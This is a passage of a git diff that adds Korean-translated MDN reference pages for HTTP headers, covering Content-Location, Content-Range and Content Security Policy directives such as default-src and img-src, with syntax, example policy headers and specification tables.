+<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Length")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/ko/web/http/headers/content-location/index.html b/files/ko/web/http/headers/content-location/index.html new file mode 100644 index 0000000000..08281873d6 --- /dev/null +++ b/files/ko/web/http/headers/content-location/index.html @@ -0,0 +1,66 @@ +--- +title: Content-Location +slug: Web/HTTP/Headers/Content-Location +translation_of: Web/HTTP/Headers/Content-Location +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Location</code></strong> 헤더는 반환된 데이터에 대한 대체 위치을 가르킵니다. 주된 유스케이스는 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>의 결과로써 전달되는 리소스의 URL을 가르키는 것입니다.</p> + +<p>{{HTTPHeader("Location")}}과 <code>Content-Location</code>는 다릅니다: {{HTTPHeader("Location")}}가 리다이렉션의 대상(혹은 새롭게 만들어진 문서의 URL)을 가르키는데 반해, <code>Content-Location</code>은 더 이상의 컨텐츠 협상없이, 리소스 접근에 필요한 직접적인 URL을 가르킵니다. <code>Location</code>은 응답과 연관된 헤더인데 반해, <code>Content-Location</code> 은 반환된 개체와 연관이 있습니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Location: <url> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><url></dt> + <dd>(요청 URL에 대해) 상대적이거나 혹은 절대적인 URL.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Content-Location: /index.html</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Location")}}</li> +</ul> diff --git a/files/ko/web/http/headers/content-range/index.html b/files/ko/web/http/headers/content-range/index.html new file mode 100644 index 0000000000..0020ce93e9 --- /dev/null +++ b/files/ko/web/http/headers/content-range/index.html @@ -0,0 +1,89 @@ +--- +title: Content-Range +slug: Web/HTTP/Headers/Content-Range +tags: + - HTTP + - HTTP 헤더 + - 응답 헤더 + - 참고자료 + - 헤더 +translation_of: Web/HTTP/Headers/Content-Range +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Range</code> </strong>HTTP 응답 헤더는 전체 바디 메시지에 속한 부분 메시지의 위치를 알려줍니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Content-Range: <unit> <range-start>-<range-end>/<size> +Content-Range: <unit> <range-start>-<range-end>/* +Content-Range: <unit> */<size></pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><unit></dt> + <dd>단위는 범위를 지정합니다. 보통 <code>bytes</code>를 사용합니다.</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>범위 요청의 시작을 알려주는 정수 단위.</dd> + <dt><range-end></dt> + <dd>범위 요청의 끝을 알려주는 정수 단위.</dd> + <dt><size></dt> + <dd>문서의 총 크기(또는 모른다면 <code>'*'</code>)</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Content-Range: bytes 200-1000/67589 +</pre> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Range", "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Range")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/ko/web/http/headers/content-security-policy/default-src/index.html b/files/ko/web/http/headers/content-security-policy/default-src/index.html new file mode 100644 index 0000000000..d3c21caf18 --- /dev/null +++ b/files/ko/web/http/headers/content-security-policy/default-src/index.html @@ -0,0 +1,149 @@ +--- +title: 'CSP: default-src' +slug: Web/HTTP/Headers/Content-Security-Policy/default-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src +--- +<div> +<p>{{HTTPSidebar}}</p> + +<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>default</strong></code><strong><code>-src</code></strong> 구문은 다른 CSP 구문이 정의되지 않았을때 이를 대체하는 용도로 사용됩니다. as a fallback for the other CSP {{Glossary("fetch directive", "fetch directives")}}. 다음과 같은 구문이 없는 경우, <code>default-src</code> 구문을 찾아서 사용합니다:</p> + +<ul> + <li>{{CSP("child-src")}}</li> + <li>{{CSP("connect-src")}}</li> + <li>{{CSP("font-src")}}</li> + <li>{{CSP("frame-src")}}</li> + <li>{{CSP("img-src")}}</li> + <li>{{CSP("manifest-src")}}</li> + <li>{{CSP("media-src")}}</li> + <li>{{CSP("object-src")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("worker-src")}}</li> +</ul> + +<table> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>하나 이상의 출처가 <code>default-src</code> 정책에 의해서 허용될 수 있습니다:</p> + +<pre>Content-Security-Policy: default-src <source>; +Content-Security-Policy: default-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p><source> 에는 다음에 항목이 포함됩니다. </p> + +<dl> + <dt><host-source></dt> + <dd>부수적으로 <a href="/en-US/docs/URIs_and_URLs">URL scheme</a> 및/또는 port 번호가 포함된 도메인 또는 IP 주소와 같은 인터넷 호스트, 또한 사이트의 주소 및 포트에 와일트 카드를 사용할 수 도 있습니다 (<code>'*'</code>), 이를 사용하면 모든 주소 또는 포트에서의 유효함을 나타냅니다.<br> + 예: + <ul> + <li><code>http://*.example.com</code>: <code>http:</code> 를 사용하는 모든 서브도메인에서 매칭됩</li> + <li><code>mail.example.com:443</code>: 443 포트로 mail.example.com에 접근하는 경우 매칭됨</li> + <li><code>https://store.example.com</code>: store.example.com를 <code>https:</code>로 접근하는 경우 매칭됨</li> + </ul> + </dd> + <dt><scheme-source></dt> + <dd> 'http:' 또는 'https:'와 같은 스키마.<strong> 콜론이 필수적이며, 작은 따음표는 사용하지 않아야 합니다.</strong> 스키마도 지정할 수 있습니다 (추천하지 않음). + <ul> + <li><code>data:</code><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URIs</a> 를 컨텐츠 출처로 허용합니다. 이것은 안전하지 않습니다. <em>공격자가 임의의 데이터를 주입할 수도 있기 때문에 script에는 사용하지 마십시오.</em></li> + <li><code>mediastream:</code><a href="/en-US/docs/Web/API/MediaStream_API"><code>mediastream:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li> + <li><code>blob:</code><a href="/en-US/docs/Web/API/Blob"><code>blob:</code> URIs</a>을 콘텐츠 출처로 허용합니다.</li> + <li><code>filesystem:</code><a href="/en-US/docs/Web/API/FileSystem"><code>filesystem:</code> URIs</a> 을 콘텐츠 출처로 허용합니다.</li> + </ul> + </dd> + <dt><code>'self'</code></dt> + <dd>동일한 URL 체계와 포트를 포함하여 보호되는 파일의 원본을 참조합니다. 작은 따음표가 필수적으로 있어야 합니다. 일부 브라우저에서는 <code>blob</code> 와 <code>filesystem</code> 를 source 지시문에서 제외합니다. 이러한 콘텐츠 타입을 허용해야 하는 사이트는 데이터 attribute를 사용하여 지정할 수 있습니다.</dd> + <dt><code>'unsafe-inline'</code></dt> + <dd>인라인 {{HTMLElement("script")}} 태그, <code>javascript:</code> URLs, 인라인 이벤트 핸들러, 그리고 인라인 {{HTMLElement("style")}} 태그와 같은 인라인 요소들을 모두 허용합니다. 작은 따음표를 사용해야만 합니다.</dd> + <dt><code>'unsafe-eval'</code></dt> + <dd><code>eval()</code> 및 문자열에서 코드를 생성하는 함수의 사용을 허용합니다. 작은 따음표를 사용해야만 합니다.</dd> + <dt><code>'none'</code></dt> + <dd>아무것도 참조 되지 않습니다. 즉 아무런 URL도 매치되지 않습니다. 작은 따음표를 사용해야만 합니다.</dd> + <dt>'nonce-<base64-value>'</dt> + <dd>암호화 nonce 값을 이용하여 특정 인라인 스크립트에 대하여 허용합니다(nonce는 한번만 사용). 서버는 CSP정책을 전송할 때마다 고유한 nonce를 생성해야만 합니다. 리소스 정책을 우회하는 것은 간단한 일이기 때문에 의심 할 여지가 없는 nonce 값을 제공하는 것이 중요합니다. <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. nonce는 <code>'unsafe-inline'</code> 와 함께 사용할 경우 모던 브라우저에서는 사용하게 되면 <code>'unsafe-inline'</code>가 무시되지만, 구형 브라우저에서는 nonce가 적용되지 않습니다.</dd> + <dt>'<hash-algorithm>-<base64-value>'</dt> + <dd>스크립트 또는 스타일의 sha256, sha384 or sha512 해쉬. 이것은 대쉬: 로 구분된 해쉬를 사용된 암호화 알고리즘과 base64로 인코딩한 스크립트 및 스타일로 구성됩니다. 해쉬를 생성할 때 절대로 <script> 또는 <style> 태그를 포함하지말고 대소문자와 앞 뒤의 공백을 주의해야 합니다.<a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">unsafe inline script</a> 예제를 참고해주세요. CSP 2.0에서는 인라인 스크립트에서만 적용 가능하지만, CSP 3.0에서는 외부 스크립트를 <code>script-src</code> 에서 허용하기 위해서 사용합니다.</dd> + <dt>'strict-dynamic'</dt> + <dd>The <code>strict-dynamic</code> source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. See <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> for an example.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="default-src의_상속_불가"><code>default-src</code>의 상속 불가</h3> + +<p>다른 구문이 지정되면 default-src는 더 이상 영향을 주지 않습니다. 아래의 헤더는 </p> + +<pre>Content-Security-Policy: default-src 'self'; script-src https://example.com</pre> + +<p>다음과 같습니다:</p> + +<pre>Content-Security-Policy: connect-src 'self'; + font-src 'self'; + frame-src 'self'; + img-src 'self'; + manifest-src 'self'; + media-src 'self'; + object-src 'self'; + script-src https://example.com; + style-src 'self'; + worker-src 'self'</pre> + +<h2 id="Specifications">Specifications</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Added <code>frame-src</code>, <code>manifest-src</code> and <code>worker-src</code> as defaults.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.default-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("connect-src")}}</li> + <li>{{CSP("font-src")}}</li> + <li>{{CSP("frame-src")}}</li> + <li>{{CSP("img-src")}}</li> + <li>{{CSP("manifest-src")}}</li> + <li>{{CSP("media-src")}}</li> + <li>{{CSP("object-src")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("worker-src")}}</li> +</ul> +</div> diff --git a/files/ko/web/http/headers/content-security-policy/img-src/index.html b/files/ko/web/http/headers/content-security-policy/img-src/index.html new file mode 100644 index 0000000000..bd959a91db --- /dev/null +++ b/files/ko/web/http/headers/content-security-policy/img-src/index.html @@ -0,0 +1,84 @@ +--- +title: 'CSP: img-src' +slug: Web/HTTP/Headers/Content-Security-Policy/img-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP {{HTTPHeader("Content-Security-Policy")}}<code>:</code> <code><strong>img</strong></code><strong><code>-src</code></strong> 지시어는 이미지 및 파비콘에 대하여 유효한 출처를 지정합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p><code>img-src</code> 정책에 대해 하나 이상의 출처를 허용 할 수 있습니다.</p> + +<pre class="syntaxbox">Content-Security-Policy: img-src <source>; +Content-Security-Policy: img-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Violation_cases">Violation cases</h3> + +<p>CSP 헤더가 주어질 때:</p> + +<pre class="brush: bash">Content-Security-Policy: img-src https://example.com/</pre> + +<p>아래의 {{HTMLElement("img")}} 태그가 차단되어 불러오지 않습니다:</p> + +<pre class="brush: html"><img src="https://not-example.com/foo.jpg" alt="example picture"></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.img-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("img")}}</li> +</ul> diff --git a/files/ko/web/http/headers/content-security-policy/index.html b/files/ko/web/http/headers/content-security-policy/index.html new file mode 100644 index 0000000000..22c869ef5c --- /dev/null +++ b/files/ko/web/http/headers/content-security-policy/index.html @@ -0,0 +1,259 @@ +--- +title: Content-Security-Policy +slug: Web/HTTP/Headers/Content-Security-Policy +tags: + - CSP + - HTTP + - Reference + - Security + - header +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP <strong><code>Content-Security-Policy</code></strong> response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks ({{Glossary("XSS")}}).</p> + +<p>For more information, see the introductory article on <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Content-Security-Policy: <policy-directive>; <policy-directive> +</pre> + +<h2 id="Directives">Directives</h2> + +<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3> + +<p>Fetch directives control locations from which certain resource types may be loaded.</p> + +<h4 id="List_of_Content_Security_Policy_Fetch_directives">List of Content Security Policy Fetch directives</h4> + +<dl> + <dt>{{CSP("child-src")}}</dt> + <dd>Defines the valid sources for <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> and nested browsing contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. + <div class="warning"> + <p>Instead of <strong><code>child-src</code></strong>, authors who wish to regulate nested browsing contexts and workers should use the {{CSP("frame-src")}} and {{CSP("worker-src")}} directives, respectively.</p> + </div> + </dd> + <dt>{{CSP("connect-src")}}</dt> + <dd>Restricts the URLs which can be loaded using script interfaces</dd> + <dt>{{CSP("default-src")}}</dt> + <dd>Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.</dd> + <dt>{{CSP("font-src")}}</dt> + <dd>Specifies valid sources for fonts loaded using {{cssxref("@font-face")}}.</dd> + <dt>{{CSP("frame-src")}}</dt> + <dd>Specifies valid sources for nested browsing contexts loading using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</dd> + <dt>{{CSP("img-src")}}</dt> + <dd>Specifies valid sources of images and favicons.</dd> + <dt>{{CSP("manifest-src")}}</dt> + <dd>Specifies valid sources of application manifest files.</dd> + <dt>{{CSP("media-src")}}</dt> + <dd>Specifies valid sources for loading media using the {{HTMLElement("audio")}} , {{HTMLElement("video")}} and {{HTMLElement("track")}} elements.</dd> + <dt>{{CSP("object-src")}}</dt> + <dd>Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.</dd> + <dd class="note">Elements controlled by <code>object-src</code> are perhaps coincidentally considered legacy HTML elements and are not recieving new standardized features (such as the security attributes <code>sandbox</code> or <code>allow</code> for <code><iframe></code>). Therefore it is <strong>recommended</strong> to restrict this fetch-directive (e.g. explicitly set <code>object-src 'none'</code> if possible).</dd> + <dt>{{CSP("prefetch-src")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources to be prefetched or prerendered.</dd> + <dt>{{CSP("script-src")}}</dt> + <dd>Specifies valid sources for JavaScript.</dd> + <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources for JavaScript {{HTMLElement("script")}} elements.</dd> + <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources for JavaScript inline event handlers.</dd> +</dl> + +<dl> + <dt>{{CSP("style-src")}}</dt> + <dd>Specifies valid sources for stylesheets.</dd> + <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources for stylesheets {{HTMLElement("style")}} elements and {{HTMLElement("link")}} elements with <code>rel="stylesheet"</code>.</dd> + <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources for inline styles applied to individual DOM elements.</dd> + <dt>{{CSP("worker-src")}}{{experimental_inline}}</dt> + <dd>Specifies valid sources for {{domxref("Worker")}}, {{domxref("SharedWorker")}}, or {{domxref("ServiceWorker")}} scripts.</dd> +</dl> + +<h3 id="Document_directives" name="Document_directives">{{Glossary("Document directive", "Document directives")}}</h3> + +<p>Document directives govern the properties of a document or <a href="/en-US/docs/Web/API/Web_Workers_API">worker</a> environment to which a policy applies.</p> + +<h4 id="List_of_Content_Security_Policy_Document_directives">List of Content Security Policy Document directives</h4> + +<dl> + <dt>{{CSP("base-uri")}}</dt> + <dd>Restricts the URLs which can be used in a document's {{HTMLElement("base")}} element.</dd> + <dt>{{CSP("plugin-types")}}</dt> + <dd>Restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.</dd> + <dt>{{CSP("sandbox")}}</dt> + <dd>Enables a sandbox for the requested resource similar to the {{HTMLElement("iframe")}} {{htmlattrxref("sandbox", "iframe")}} attribute.</dd> +</dl> + +<h3 id="Navigation_directives" name="Navigation_directives">{{Glossary("Navigation directive", "Navigation directives")}}</h3> + +<p>Navigation directives govern to which location a user can navigate to or submit a form to, for example.</p> + +<h4 id="List_of_Content_Security_Policy_Navigation_directives">List of Content Security Policy Navigation directives</h4> + +<dl> + <dt>{{CSP("form-action")}}</dt> + <dd>Restricts the URLs which can be used as the target of a form submissions from a given context.</dd> + <dt>{{CSP("frame-ancestors")}}</dt> + <dd>Specifies valid parents that may embed a page using {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, or {{HTMLElement("applet")}}.</dd> + <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt> + <dd>Restricts the URLs to which a document can initiate navigation by any means, including {{HTMLElement("form")}} (if {{CSP("form-action")}} is not specified), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc.</dd> +</dl> + +<h3 id="Reporting_directives" name="Reporting_directives">{{Glossary("Reporting directive", "Reporting directives")}}</h3> + +<p>Reporting directives control the reporting process of CSP violations. See also the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header.</p> + +<h4 id="List_of_Content_Security_Policy_Reporting_directives">List of Content Security Policy Reporting directives</h4> + +<dl> + <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt> + <dd>Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI. + <div class="warning"> + <p>Though the {{CSP("report-to")}} directive is intended to replace the deprecated <code><strong>report-uri</strong></code> directive, {{CSP("report-to")}} is not supported in most browsers yet. So for compatibility with current browsers while also adding forward compatibility when browsers get {{CSP("report-to")}} support, you can specify both <code><strong>report-uri</strong></code> and {{CSP("report-to")}}:</p> + + <pre class="syntaxbox">Content-Security-Policy: ...; report-uri https://endpoint.example.com; report-to groupname</pre> + + <p>In browsers that support {{CSP("report-to")}}, the <code><strong>report-uri</strong></code> directive will be ignored.</p> + </div> + </dd> + <dt>{{CSP("report-to")}}{{experimental_inline}}</dt> + <dd>Fires a <code>SecurityPolicyViolationEvent</code>.</dd> +</dl> + +<h3 id="Other_directives">Other directives</h3> + +<dl> + <dt>{{CSP("block-all-mixed-content")}}</dt> + <dd>Prevents loading any assets using HTTP when the page is loaded using HTTPS.</dd> + <dt>{{CSP("referrer")}}{{deprecated_inline}}{{non-standard_inline}}</dt> + <dd>Used to specify information in the referer (sic) header for links away from a page. Use the {{HTTPHeader("Referrer-Policy")}} header instead.</dd> + <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt> + <dd>Requires the use of {{Glossary("SRI")}} for scripts or styles on the page.</dd> + <dt>{{CSP("require-trusted-types-for")}}{{experimental_inline}}</dt> + <dd>Enforces <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> at the DOM XSS injection sinks.</dd> +</dl> + +<dl> + <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt> + <dd>Used to specify a whitelist of <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a> policies (Trusted Types allows applications to lock down DOM XSS injection sinks to only accept non-spoofable, typed values in place of strings).</dd> +</dl> + +<dl> + <dt>{{CSP("upgrade-insecure-requests")}}</dt> + <dd>Instructs user agents to treat all of a site's insecure URLs (those served over HTTP) as though they have been replaced with secure URLs (those served over HTTPS). This directive is intended for web sites with large numbers of insecure legacy URLs that need to be rewritten.</dd> +</dl> + +<h2 id="CSP_in_workers">CSP in workers</h2> + +<p><a href="/en-US/docs/Web/API/Worker">Workers</a> are in general <em>not</em> governed by the content security policy of the document (or parent worker) that created them. To specify a content security policy for the worker, set a <code>Content-Security-Policy</code> response header for the request which requested the worker script itself.</p> + +<p>The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the content security policy of the document or worker that created it.</p> + +<h2 id="Multiple_content_security_policies">Multiple content security policies</h2> + +<p>CSP allows multiple policies being specified for a resource, including via the <code>Content-Security-Policy</code> header, the {{HTTPHeader("Content-Security-Policy-Report-Only")}} header and a {{HTMLElement("meta")}} element.</p> + +<p>You can use the <code>Content-Security-Policy</code> header more than once like in the example below. Pay special attention to the {{CSP("connect-src")}} directive here. Even though the second policy would allow the connection, the first policy contains <code>connect-src 'none'</code>. Adding additional policies <em>can only further restrict</em> the capabilities of the protected resource, which means that there will be no connection allowed and, as the strictest policy, <code>connect-src 'none'</code> is enforced.</p> + +<pre>Content-Security-Policy: default-src 'self' http://example.com; + connect-src 'none'; +Content-Security-Policy: connect-src http://example.com/; + script-src http://example.com/</pre> + +<h2 id="Examples">Examples</h2> + +<p>Example: Disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https:</p> + +<pre>// header +Content-Security-Policy: default-src https: + +// meta tag +<meta http-equiv="Content-Security-Policy" content="default-src https:"> +</pre> + +<p>Example: Pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and disable plugins:</p> + +<pre>Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre> + +<p>Example: Do not implement the above policy yet; instead just report violations that would have occurred:</p> + +<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>See <a href="https://infosec.mozilla.org/guidelines/web_security#Examples_5">Mozilla Web Security Guidelines</a> for more examples.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Adds <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates <code>report-uri</code> in favor if <code>report-to</code>.</td> + </tr> + <tr> + <td>{{specName("Mixed Content")}}</td> + <td>{{Spec2("Mixed Content")}}</td> + <td>Adds <code>block-all-mixed-content</code>.</td> + </tr> + <tr> + <td>{{specName("Subresource Integrity")}}</td> + <td>{{Spec2("Subresource Integrity")}}</td> + <td>Adds <code>require-sri-for</code>.</td> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests")}}</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + <td>Adds <code>upgrade-insecure-requests</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2("CSP 1.1")}}</td> + <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.0")}}</td> + <td>{{Spec2("CSP 1.0")}}</td> + <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CSP">Learn about: Content Security Policy</a></li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> + <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adopting a strict policy</a></li> + <li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> - Evaluate your Content Security 